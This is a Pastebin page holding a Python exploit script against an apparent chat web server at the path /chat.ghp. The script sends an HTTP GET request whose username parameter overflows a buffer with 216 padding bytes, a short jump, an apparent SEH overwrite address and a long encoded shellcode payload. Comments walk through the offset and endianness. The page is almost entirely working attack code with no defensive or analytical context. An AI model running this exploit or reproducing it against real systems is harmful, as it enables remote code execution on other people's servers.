Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- !/usr/bin/python
- import socket, sys
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- sock.connect((sys.argv[1], 80))
- buffer = "GET /chat.ghp?username="
- #This is the amount of A's need to crash program
- buffer += "A" * 216
- #Not an address, it doesn't have to be in little endian form
- buffer += "\xEB\x06\x90\x90"
- #This will be an address, we need little endians here
- #we need to find this sequence now
- buffer += "\xBC\x04\x01\x10"
- buffer += ("\xdd\xc0\xd9\x74\x24\xf4\x5e\x56\x59\x49\x49\x49\x49\x49\x49"
- "\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"
- "\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
- "\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x49"
- "\x6c\x4b\x58\x4f\x79\x45\x50\x45\x50\x47\x70\x43\x50\x4d\x59"
- "\x49\x75\x45\x61\x49\x42\x51\x74\x4e\x6b\x51\x42\x46\x50\x4e"
- "\x6b\x43\x62\x44\x4c\x4e\x6b\x46\x32\x44\x54\x4c\x4b\x51\x62"
- "\x51\x38\x46\x6f\x4d\x67\x51\x5a\x47\x56\x44\x71\x49\x6f\x44"
- "\x71\x49\x50\x4c\x6c\x47\x4c\x50\x61\x51\x6c\x46\x62\x46\x4c"
- "\x51\x30\x4b\x71\x48\x4f\x46\x6d\x45\x51\x4b\x77\x4b\x52\x48"
- "\x70\x51\x42\x50\x57\x4e\x6b\x42\x72\x44\x50\x4c\x4b\x47\x32"
- "\x45\x6c\x46\x61\x4a\x70\x4e\x6b\x47\x30\x42\x58\x4e\x65\x4b"
- "\x70\x43\x44\x42\x6a\x43\x31\x48\x50\x50\x50\x4e\x6b\x47\x38"
- "\x46\x78\x4c\x4b\x42\x78\x45\x70\x45\x51\x48\x53\x4b\x53\x47"
- "\x4c\x43\x79\x4e\x6b\x47\x44\x4e\x6b\x46\x61\x49\x46\x44\x71"
- "\x49\x6f\x44\x71\x4b\x70\x4c\x6c\x49\x51\x4a\x6f\x46\x6d\x47"
- "\x71\x4a\x67\x45\x68\x4d\x30\x42\x55\x4a\x54\x47\x73\x43\x4d"
- "\x48\x78\x45\x6b\x51\x6d\x47\x54\x42\x55\x4d\x32\x51\x48\x4c"
- "\x4b\x51\x48\x47\x54\x43\x31\x48\x53\x42\x46\x4c\x4b\x44\x4c"
- "\x42\x6b\x4c\x4b\x51\x48\x47\x6c\x45\x51\x4e\x33\x4e\x6b\x44"
- "\x44\x4c\x4b\x45\x51\x4a\x70\x4e\x69\x43\x74\x45\x74\x44\x64"
- "\x51\x4b\x51\x4b\x43\x51\x43\x69\x43\x6a\x43\x61\x4b\x4f\x4d"
- "\x30\x43\x68\x43\x6f\x50\x5a\x4c\x4b\x44\x52\x4a\x4b\x4f\x76"
- "\x51\x4d\x42\x48\x45\x63\x50\x32\x45\x50\x47\x70\x43\x58\x43"
- "\x47\x43\x43\x47\x42\x43\x6f\x46\x34\x50\x68\x50\x4c\x44\x37"
- "\x45\x76\x43\x37\x49\x6f\x4e\x35\x4d\x68\x4a\x30\x43\x31\x45"
- "\x50\x43\x30\x44\x69\x4a\x64\x51\x44\x50\x50\x50\x68\x51\x39"
- "\x4d\x50\x50\x6b\x47\x70\x49\x6f\x48\x55\x42\x70\x50\x50\x46"
- "\x30\x50\x50\x43\x70\x50\x50\x47\x30\x42\x70\x45\x38\x48\x6a"
- "\x44\x4f\x49\x4f\x4b\x50\x4b\x4f\x48\x55\x4c\x49\x48\x47\x45"
- "\x61\x4b\x6b\x42\x73\x42\x48\x47\x72\x47\x70\x46\x71\x51\x4c"
- "\x4f\x79\x4d\x36\x43\x5a\x46\x70\x50\x56\x51\x47\x45\x38\x4a"
- "\x62\x4b\x6b\x47\x47\x43\x57\x4b\x4f\x4b\x65\x51\x43\x51\x47"
- "\x50\x68\x4c\x77\x4b\x59\x47\x48\x4b\x4f\x49\x6f\x4e\x35\x51"
- "\x43\x51\x43\x42\x77\x42\x48\x43\x44\x4a\x4c\x45\x6b\x48\x61"
- "\x49\x6f\x4e\x35\x50\x57\x4d\x59\x4b\x77\x51\x78\x44\x35\x42"
- "\x4e\x50\x4d\x51\x71\x4b\x4f\x48\x55\x51\x78\x43\x53\x42\x4d"
- "\x45\x34\x45\x50\x4d\x59\x48\x63\x42\x77\x43\x67\x42\x77\x46"
- "\x51\x4c\x36\x50\x6a\x42\x32\x43\x69\x42\x76\x48\x62\x49\x6d"
- "\x51\x76\x4a\x67\x42\x64\x45\x74\x47\x4c\x47\x71\x43\x31\x4e"
- "\x6d\x43\x74\x45\x74\x42\x30\x49\x56\x45\x50\x42\x64\x43\x64"
- "\x50\x50\x43\x66\x43\x66\x46\x36\x43\x76\x43\x66\x50\x4e\x50"
- "\x56\x42\x76\x51\x43\x51\x46\x45\x38\x42\x59\x48\x4c\x47\x4f"
- "\x4c\x46\x4b\x4f\x48\x55\x4d\x59\x4b\x50\x42\x6e\x50\x56\x50"
- "\x46\x4b\x4f\x46\x50\x50\x68\x44\x48\x4c\x47\x45\x4d\x51\x70"
- "\x49\x6f\x49\x45\x4f\x4b\x49\x6e\x44\x4e\x45\x62\x48\x6a\x50"
- "\x68\x49\x36\x4e\x75\x4f\x4d\x4f\x6d\x49\x6f\x4a\x75\x45\x6c"
- "\x46\x66\x51\x6c\x46\x6a\x4d\x50\x4b\x4b\x49\x70\x42\x55\x43"
- "\x35\x4d\x6b\x47\x37\x47\x63\x42\x52\x50\x6f\x42\x4a\x47\x70"
- "\x51\x43\x4b\x4f\x4e\x35\x46\x6a\x41\x41")
- buffer += "&password=test&room=1&sex=2 HTTP/1.1\r\n\r\n"
- sock.send(buffer)
- sock.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement